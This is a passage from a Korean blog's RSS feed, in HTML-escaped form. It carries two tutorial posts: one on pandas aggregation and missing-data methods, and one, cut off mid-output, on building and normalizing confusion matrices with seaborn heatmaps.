      &lt;td&gt;NaN&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;th&gt;d&lt;/th&gt;
      &lt;td&gt;0.75&lt;/td&gt;
      &lt;td&gt;-1.3&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3&gt;1. sum 메서드&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;sum()메서드는 각 column값의 합을 더해서 series 객체를 반환&lt;/li&gt;

&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot; lang=&quot;python&quot;&gt;df.sum()
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;one    9.25
two   -5.80
dtype: float64
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;sum()메서드에 axis를 주어 각 row 값의 합을 반환&lt;/li&gt;

&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot; lang=&quot;python&quot;&gt;df.sum(axis=1)
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;a    1.40
b    2.60
c    0.00
d   -0.55
dtype: float64
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;skipna: 전체 row나 column의 값이 NaN가 아니라도 제외시키지 않을 수 있음 (skipna=False로 지정)&lt;/li&gt;
&lt;li&gt;skipna의 기본값은 True&lt;/li&gt;

&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot; lang=&quot;python&quot;&gt;df.sum(axis=1, skipna=False)
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;a     NaN
b    2.60
c     NaN
d   -0.55
dtype: float64
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3&gt;2. idxmin, idxmax 메서드&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;최소, 최대값을 가지고 있는 index를 반환(실제로는 통계값을 반환하나, 통계값을 가리키는 간접통계값인 index를 반환)&lt;/li&gt;

&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot; lang=&quot;python&quot;&gt;df
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;/p&gt;&lt;div&gt;
&lt;style scoped=&quot;&quot;&gt;
    .dataframe tbody tr th:only-of-type {
        vertical-align: middle;
    }&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.dataframe tbody tr th {
    vertical-align: top;
}

.dataframe thead th {
    text-align: right;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;/style&gt;
&lt;table border=&quot;1&quot; class=&quot;dataframe&quot;&gt;
  &lt;thead&gt;
    &lt;tr style=&quot;text-align: right;&quot;&gt;
      &lt;th&gt;&lt;/th&gt;
      &lt;th&gt;one&lt;/th&gt;
      &lt;th&gt;two&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;th&gt;a&lt;/th&gt;
      &lt;td&gt;1.40&lt;/td&gt;
      &lt;td&gt;NaN&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;th&gt;b&lt;/th&gt;
      &lt;td&gt;7.10&lt;/td&gt;
      &lt;td&gt;-4.5&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;th&gt;c&lt;/th&gt;
      &lt;td&gt;NaN&lt;/td&gt;
      &lt;td&gt;NaN&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;th&gt;d&lt;/th&gt;
      &lt;td&gt;0.75&lt;/td&gt;
      &lt;td&gt;-1.3&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot; lang=&quot;python&quot;&gt;df.idxmin()
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;one    d
two    b
dtype: object
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot; lang=&quot;python&quot;&gt;df.idxmax()
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;one    b
two    d
dtype: object
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3&gt;3. 누산 메서드: cumsum()&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot; lang=&quot;python&quot;&gt;df.cumsum()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;/p&gt;&lt;div&gt;
&lt;style scoped=&quot;&quot;&gt;
    .dataframe tbody tr th:only-of-type {
        vertical-align: middle;
    }&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.dataframe tbody tr th {
    vertical-align: top;
}

.dataframe thead th {
    text-align: right;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;/style&gt;
&lt;table border=&quot;1&quot; class=&quot;dataframe&quot;&gt;
  &lt;thead&gt;
    &lt;tr style=&quot;text-align: right;&quot;&gt;
      &lt;th&gt;&lt;/th&gt;
      &lt;th&gt;one&lt;/th&gt;
      &lt;th&gt;two&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;th&gt;a&lt;/th&gt;
      &lt;td&gt;1.40&lt;/td&gt;
      &lt;td&gt;NaN&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;th&gt;b&lt;/th&gt;
      &lt;td&gt;8.50&lt;/td&gt;
      &lt;td&gt;-4.5&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;th&gt;c&lt;/th&gt;
      &lt;td&gt;NaN&lt;/td&gt;
      &lt;td&gt;NaN&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;th&gt;d&lt;/th&gt;
      &lt;td&gt;9.25&lt;/td&gt;
      &lt;td&gt;-5.8&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3&gt;4. Series 객체에서 중복된 값을 제거하는 메서드, 도수 메서드&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot; lang=&quot;python&quot;&gt;s1 = Series(['c', 'a', 'd', 'a', 'b', 'b', 'c', 'c'])
s1
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;0    c
1    a
2    d
3    a
4    b
5    b
6    c
7    c
dtype: object
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4&gt;1) 중복된 값을 제거하는 메서드: unique()&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;unique()에 의한 결과값은 정렬되지 않은 상태로 반환&lt;/li&gt;

&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot; lang=&quot;python&quot;&gt;unique = s1.unique()
unique
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;array(['c', 'a', 'd', 'b'], dtype=object)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4&gt;2) 도수(값의 개수) 메서드: value_counts()&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;value_counts() 메서드의 반환값은 series 객체, 내림차순으로 정렬됨&lt;/li&gt;

&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot; lang=&quot;python&quot;&gt;s1.value_counts()
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;c    3
a    2
b    2
d    1
dtype: int64
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3&gt;5. DataFrame 객체에서 중복된 값을 제거하는 메서드&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot; lang=&quot;python&quot;&gt;data = DataFrame({'Q1':[1,3,4,3,4],
                 'Q2':[2,3,1,2,3],
                 'Q3':[1,5,2,4,4]})
data
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;/p&gt;&lt;div&gt;
&lt;style scoped=&quot;&quot;&gt;
    .dataframe tbody tr th:only-of-type {
        vertical-align: middle;
    }&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.dataframe tbody tr th {
    vertical-align: top;
}

.dataframe thead th {
    text-align: right;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;/style&gt;
&lt;table border=&quot;1&quot; class=&quot;dataframe&quot;&gt;
  &lt;thead&gt;
    &lt;tr style=&quot;text-align: right;&quot;&gt;
      &lt;th&gt;&lt;/th&gt;
      &lt;th&gt;Q1&lt;/th&gt;
      &lt;th&gt;Q2&lt;/th&gt;
      &lt;th&gt;Q3&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;th&gt;0&lt;/th&gt;
      &lt;td&gt;1&lt;/td&gt;
      &lt;td&gt;2&lt;/td&gt;
      &lt;td&gt;1&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;th&gt;1&lt;/th&gt;
      &lt;td&gt;3&lt;/td&gt;
      &lt;td&gt;3&lt;/td&gt;
      &lt;td&gt;5&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;th&gt;2&lt;/th&gt;
      &lt;td&gt;4&lt;/td&gt;
      &lt;td&gt;1&lt;/td&gt;
      &lt;td&gt;2&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;th&gt;3&lt;/th&gt;
      &lt;td&gt;3&lt;/td&gt;
      &lt;td&gt;2&lt;/td&gt;
      &lt;td&gt;4&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;th&gt;4&lt;/th&gt;
      &lt;td&gt;4&lt;/td&gt;
      &lt;td&gt;3&lt;/td&gt;
      &lt;td&gt;4&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot; lang=&quot;python&quot;&gt;res = data.apply(pd.value_counts)
res
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;/p&gt;&lt;div&gt;
&lt;style scoped=&quot;&quot;&gt;
    .dataframe tbody tr th:only-of-type {
        vertical-align: middle;
    }&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.dataframe tbody tr th {
    vertical-align: top;
}

.dataframe thead th {
    text-align: right;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;/style&gt;
&lt;table border=&quot;1&quot; class=&quot;dataframe&quot;&gt;
  &lt;thead&gt;
    &lt;tr style=&quot;text-align: right;&quot;&gt;
      &lt;th&gt;&lt;/th&gt;
      &lt;th&gt;Q1&lt;/th&gt;
      &lt;th&gt;Q2&lt;/th&gt;
      &lt;th&gt;Q3&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;th&gt;1&lt;/th&gt;
      &lt;td&gt;1.0&lt;/td&gt;
      &lt;td&gt;1.0&lt;/td&gt;
      &lt;td&gt;1.0&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;th&gt;2&lt;/th&gt;
      &lt;td&gt;NaN&lt;/td&gt;
      &lt;td&gt;2.0&lt;/td&gt;
      &lt;td&gt;1.0&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;th&gt;3&lt;/th&gt;
      &lt;td&gt;2.0&lt;/td&gt;
      &lt;td&gt;2.0&lt;/td&gt;
      &lt;td&gt;NaN&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;th&gt;4&lt;/th&gt;
      &lt;td&gt;2.0&lt;/td&gt;
      &lt;td&gt;NaN&lt;/td&gt;
      &lt;td&gt;2.0&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;th&gt;5&lt;/th&gt;
      &lt;td&gt;NaN&lt;/td&gt;
      &lt;td&gt;NaN&lt;/td&gt;
      &lt;td&gt;1.0&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot; lang=&quot;python&quot;&gt;res1 = data.apply(pd.value_counts).fillna(0)
res1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;/p&gt;&lt;div&gt;
&lt;style scoped=&quot;&quot;&gt;
    .dataframe tbody tr th:only-of-type {
        vertical-align: middle;
    }&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.dataframe tbody tr th {
    vertical-align: top;
}

.dataframe thead th {
    text-align: right;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;/style&gt;
&lt;table border=&quot;1&quot; class=&quot;dataframe&quot;&gt;
  &lt;thead&gt;
    &lt;tr style=&quot;text-align: right;&quot;&gt;
      &lt;th&gt;&lt;/th&gt;
      &lt;th&gt;Q1&lt;/th&gt;
      &lt;th&gt;Q2&lt;/th&gt;
      &lt;th&gt;Q3&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;th&gt;1&lt;/th&gt;
      &lt;td&gt;1.0&lt;/td&gt;
      &lt;td&gt;1.0&lt;/td&gt;
      &lt;td&gt;1.0&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;th&gt;2&lt;/th&gt;
      &lt;td&gt;0.0&lt;/td&gt;
      &lt;td&gt;2.0&lt;/td&gt;
      &lt;td&gt;1.0&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;th&gt;3&lt;/th&gt;
      &lt;td&gt;2.0&lt;/td&gt;
      &lt;td&gt;2.0&lt;/td&gt;
      &lt;td&gt;0.0&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;th&gt;4&lt;/th&gt;
      &lt;td&gt;2.0&lt;/td&gt;
      &lt;td&gt;0.0&lt;/td&gt;
      &lt;td&gt;2.0&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;th&gt;5&lt;/th&gt;
      &lt;td&gt;0.0&lt;/td&gt;
      &lt;td&gt;0.0&lt;/td&gt;
      &lt;td&gt;1.0&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3&gt;6. Series, DataFrame 객체 내에 값이 있는지 검사하는 메서드: isin()&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;isin()메서드는 True, Flase를 반환, 값이 있는 곳은 True, 값이 없는 곳은 False&lt;/li&gt;
&lt;li&gt;Seires, DataFrame에서 원하는 값을 골라내고 싶을 때 유용하게 사용하는 메서드&lt;/li&gt;

&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot; lang=&quot;python&quot;&gt;s1
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;0    c
1    a
2    d
3    a
4    b
5    b
6    c
7    c
dtype: object
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot; lang=&quot;python&quot;&gt;mask = s1.isin(['b', 'c'])
mask
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;0     True
1    False
2    False
3    False
4     True
5     True
6     True
7     True
dtype: bool
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot; lang=&quot;python&quot;&gt;s1[mask]
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;0    c
4    b
5    b
6    c
7    c
dtype: object
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3&gt;7. 누락된 데이터 처리&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Pandas의 설계 목표 중 하나는 누락된 데이터를 쉽게 처리하는 &lt;/li&gt;
&lt;li&gt;Pandas에서 누락된 데이터는 어떤 타입이더라도 NaN(Not a Number)로 취급&lt;/li&gt;

&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot; lang=&quot;python&quot;&gt;stringData = Series(['aaa', 'bbbb', np.nan, 'ccccc'])
stringData
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;0      aaa
1     bbbb
2      NaN
3    ccccc
dtype: object
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;NaN의 값은 파이썬의 None값 NA(Not Available)와 같은 값으로 취급&lt;/li&gt;

&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot; lang=&quot;python&quot;&gt;stringData.isnull()
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;0    False
1    False
2     True
3    False
dtype: bool
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot; lang=&quot;python&quot;&gt;stringData[0]=None
stringData.isnull()
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;0     True
1    False
2     True
3    False
dtype: bool
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot; lang=&quot;python&quot;&gt;stringData
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;0     None
1     bbbb
2      NaN
3    ccccc
dtype: object
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>AI&amp;amp;BigData/Basics</category>
      <category>idxmax 메서드</category>
      <category>idxmin</category>
      <category>isin()</category>
      <category>Series 객체에서 중복된 값을 제거하는 메서드</category>
      <category>skipna</category>
      <category>sum 메서드</category>
      <category>unique()</category>
      <category>value_counts()</category>
      <category>누산 메서드: cumsum()</category>
      <category>도수 메서드</category>
      <author>eunguru</author>
      <guid isPermaLink="true">https://eunguru.tistory.com/230</guid>
      <comments>https://eunguru.tistory.com/230#entry230comment</comments>
      <pubDate>Sun, 3 Jun 2018 23:23:40 +0900</pubDate>
    </item>
    <item>
      <title>Confusion matrix, accuracy, f1 score, precision, recall</title>
      <link>https://eunguru.tistory.com/229</link>
      <description>&lt;meta charset=&quot;UTF-8&quot;&gt;&lt;meta name=&quot;viewport&quot; content=&quot;width=device-width initial-scale=1&quot;&gt;
&lt;title&gt;confusion_matrix&lt;/title&gt;
&lt;h1&gt;&lt;span style=&quot;font-size: 18pt;&quot;&gt;혼동행렬(Confusion Matrix)&lt;/span&gt;&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;Classification 머신러닝 모델이 제대로 작동을 했는지 혼동을 했는지 알아볼 수 있는 행렬&lt;/li&gt;&lt;li&gt;행(row)는 실제 클래스, 열(column)은 예측한 클래스&lt;/li&gt;

&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot; lang=&quot;python&quot;&gt;import seaborn as sns
import pandas as pd
import matplotlib.pyplot as plt
from pandas import DataFrame
%matplotlib inline
sns.set(font_scale=2)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3&gt;1. Basic confusion matrix&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;seaborn의 heatmap은 confusion matrix를 시각화 하는 함수&lt;/li&gt;
&lt;li&gt;색상이 밝으면 높은 숫자, 색상이 어두우면 낮은 숫자를 나타냄&lt;/li&gt;

&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot; lang=&quot;python&quot;&gt;arr = [[5,0,0,0], # when input was A, prediction was all A
        [0,10,0,0], # when input was B, prediction was all B
        [0,0,15,0], # when input was C, prediction was all C
        [0,0,0,5]]  # when input was D, prediction was all D
df_cm = DataFrame(arr, index=[i for i in &quot;ABCD&quot;],
                 columns= [i for i in &quot;ABCD&quot;])
df_cm
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;/p&gt;&lt;div&gt;
&lt;style scoped=&quot;&quot;&gt;
    .dataframe tbody tr th:only-of-type {
        vertical-align: middle;
    }&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.dataframe tbody tr th {
    vertical-align: top;
}

.dataframe thead th {
    text-align: right;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;/style&gt;
&lt;table border=&quot;1&quot; class=&quot;dataframe&quot;&gt;
  &lt;thead&gt;
    &lt;tr style=&quot;text-align: right;&quot;&gt;
      &lt;th&gt;&lt;/th&gt;
      &lt;th&gt;A&lt;/th&gt;
      &lt;th&gt;B&lt;/th&gt;
      &lt;th&gt;C&lt;/th&gt;
      &lt;th&gt;D&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;th&gt;A&lt;/th&gt;
      &lt;td&gt;5&lt;/td&gt;
      &lt;td&gt;0&lt;/td&gt;
      &lt;td&gt;0&lt;/td&gt;
      &lt;td&gt;0&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;th&gt;B&lt;/th&gt;
      &lt;td&gt;0&lt;/td&gt;
      &lt;td&gt;10&lt;/td&gt;
      &lt;td&gt;0&lt;/td&gt;
      &lt;td&gt;0&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;th&gt;C&lt;/th&gt;
      &lt;td&gt;0&lt;/td&gt;
      &lt;td&gt;0&lt;/td&gt;
      &lt;td&gt;15&lt;/td&gt;
      &lt;td&gt;0&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;th&gt;D&lt;/th&gt;
      &lt;td&gt;0&lt;/td&gt;
      &lt;td&gt;0&lt;/td&gt;
      &lt;td&gt;0&lt;/td&gt;
      &lt;td&gt;5&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot; lang=&quot;python&quot;&gt;plt .figure(figsize = (7,5))
plt.title('confusion matrix without confusion')
sns.heatmap(df_cm, annot=True)
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;matplotlib.axes._subplots.AxesSubplot at 0x10e6e5da0&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&amp;nbsp;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 433px; text-align: center;; height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/9984AA365B0BF25B0F&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F9984AA365B0BF25B0F&quot; width=&quot;433&quot; height=&quot;336&quot; filename=&quot;output_6_1.png&quot; filemime=&quot;image/jpeg&quot; style=&quot;text-align: center;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3&gt;2. Confusion matrix with confusion&lt;/h3&gt;
&lt;h4&gt;1) normalization 하지 않은 confusion matrix&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;normalization 하지 않은 confusion matrix의 문제점&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;test input의 분포를 모르기 때문에 어떤 알파벳에 효율적인지 말할 수 없음&lt;/li&gt;

&lt;/ul&gt;
&lt;/li&gt;

&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot; lang=&quot;python&quot;&gt;arr2 = [[9,1,0,0],  
        [1,15,3,1],
        [5,0,24,1],
        [0,4,1,15]]
df_cm2 = DataFrame(arr2, index = [i for i in &quot;ABCD&quot;],
                  columns = [i for i in &quot;ABCD&quot;])
df_cm2
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;/p&gt;&lt;div&gt;
&lt;style scoped=&quot;&quot;&gt;
    .dataframe tbody tr th:only-of-type {
        vertical-align: middle;
    }&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.dataframe tbody tr th {
    vertical-align: top;
}

.dataframe thead th {
    text-align: right;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;/style&gt;
&lt;table border=&quot;1&quot; class=&quot;dataframe&quot;&gt;
  &lt;thead&gt;
    &lt;tr style=&quot;text-align: right;&quot;&gt;
      &lt;th&gt;&lt;/th&gt;
      &lt;th&gt;A&lt;/th&gt;
      &lt;th&gt;B&lt;/th&gt;
      &lt;th&gt;C&lt;/th&gt;
      &lt;th&gt;D&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;th&gt;A&lt;/th&gt;
      &lt;td&gt;9&lt;/td&gt;
      &lt;td&gt;1&lt;/td&gt;
      &lt;td&gt;0&lt;/td&gt;
      &lt;td&gt;0&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;th&gt;B&lt;/th&gt;
      &lt;td&gt;1&lt;/td&gt;
      &lt;td&gt;15&lt;/td&gt;
      &lt;td&gt;3&lt;/td&gt;
      &lt;td&gt;1&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;th&gt;C&lt;/th&gt;
      &lt;td&gt;5&lt;/td&gt;
      &lt;td&gt;0&lt;/td&gt;
      &lt;td&gt;24&lt;/td&gt;
      &lt;td&gt;1&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;th&gt;D&lt;/th&gt;
      &lt;td&gt;0&lt;/td&gt;
      &lt;td&gt;4&lt;/td&gt;
      &lt;td&gt;1&lt;/td&gt;
      &lt;td&gt;15&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot; lang=&quot;python&quot;&gt;plt.figure(figsize=(7,5))
plt.title('confusion matrix without normalization')
sns.heatmap(df_cm2, annot=True)
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;matplotlib.axes._subplots.AxesSubplot at 0x10ea21908&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 436px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/994EE44D5B0BF27632&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F994EE44D5B0BF27632&quot; width=&quot;436&quot; height=&quot;336&quot; filename=&quot;output_11_1.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4&gt;2) normalization 한 confusion matrix&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot; lang=&quot;python&quot;&gt;import numpy as np
from numpy import linalg as LA
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot; lang=&quot;python&quot;&gt;total = np.sum(arr2, axis=1)
print(total)
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;[10 20 30 20]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot; lang=&quot;python&quot;&gt;arr3 = arr2/total[:,None]
arr3
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;array([[0.9       , 0.1       , 0.        , 0.        ],
       [0.05      , 0.75      , 0.15      , 0.05      ],
